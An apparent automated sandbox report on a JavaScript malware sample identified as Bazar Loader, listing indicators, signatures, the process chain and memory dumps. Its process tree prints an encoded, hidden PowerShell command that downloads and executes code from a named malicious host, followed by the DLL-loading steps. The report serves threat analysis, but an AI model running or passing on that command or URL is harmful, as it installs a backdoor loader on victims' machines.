Analysis
- max time kernel
122s - max time network
124s - platform
windows10_x64 - resource
win10-en-20211014 - submitted
14/10/2021, 18:11
General
- Target Stolen Images Evidence.js
- Size 19KB
- Sample211014-ws2m5sabb2
- SHA256 edb86c44b69eb1071a138ec2fd99968a18d671ecbcc6cbd7babcde7a132c1e01
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://bobersok.top/333g100/index.php
Signatures
- Bazar Loader
Detected loader normally used to deploy BazarBackdoor malware.
- Bazar/Team9 Loader payload 2 IoCs
- Blocklisted process makes network request 1 IoCs
- Loads dropped DLL 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Stolen Images Evidence.js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c POwersheLL -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBvAGIAZQByAHMAbwBrAC4AdABvAHAALwAzADMAMwBnADEAMAAwAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBvAGIAZQByAHMAbwBrAC4AdABvAHAALwAzADMAMwBnADEAMAAwAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\regsvr32.exe"C:\Windows\System32\regsvr32.exe" C:\Users\Admin\AppData\Local\Temp\ZrQOBam.dat4⤵
- Loads dropped DLL
-
-
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\ZrQOBam.dat,DllRegisterServer {0E26A7BA-3829-46D1-83AC-21349F83EC06}1⤵
- Loads dropped DLL
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1432-122-0x000002A527050000-0x000002A527051000-memory.dmp
memory/1432-132-0x000002A525200000-0x000002A525202000-memory.dmp
memory/1432-120-0x000002A525060000-0x000002A525062000-memory.dmp
memory/1432-121-0x000002A525060000-0x000002A525062000-memory.dmp
memory/1432-123-0x000002A525060000-0x000002A525062000-memory.dmp
memory/1432-125-0x000002A525060000-0x000002A525062000-memory.dmp
memory/1432-126-0x000002A525060000-0x000002A525062000-memory.dmp
memory/1432-127-0x000002A53FAD0000-0x000002A53FAD1000-memory.dmp
memory/1432-128-0x000002A525060000-0x000002A525062000-memory.dmp
memory/1432-133-0x000002A525203000-0x000002A525205000-memory.dmp
memory/1432-119-0x000002A525060000-0x000002A525062000-memory.dmp
memory/1432-138-0x000002A525206000-0x000002A525208000-memory.dmp
memory/1432-135-0x000002A525060000-0x000002A525062000-memory.dmp
memory/1432-118-0x000002A525060000-0x000002A525062000-memory.dmp
memory/1432-117-0x000002A525060000-0x000002A525062000-memory.dmp
memory/2888-140-0x0000000000750000-0x0000000000752000-memory.dmp
memory/2888-139-0x0000000000750000-0x0000000000752000-memory.dmp
memory/2888-141-0x0000000000720000-0x0000000000748000-memory.dmp
memory/3472-144-0x0000018588120000-0x0000018588122000-memory.dmp
memory/3472-143-0x0000018588120000-0x0000018588122000-memory.dmp
memory/3472-145-0x00000185898F0000-0x0000018589918000-memory.dmp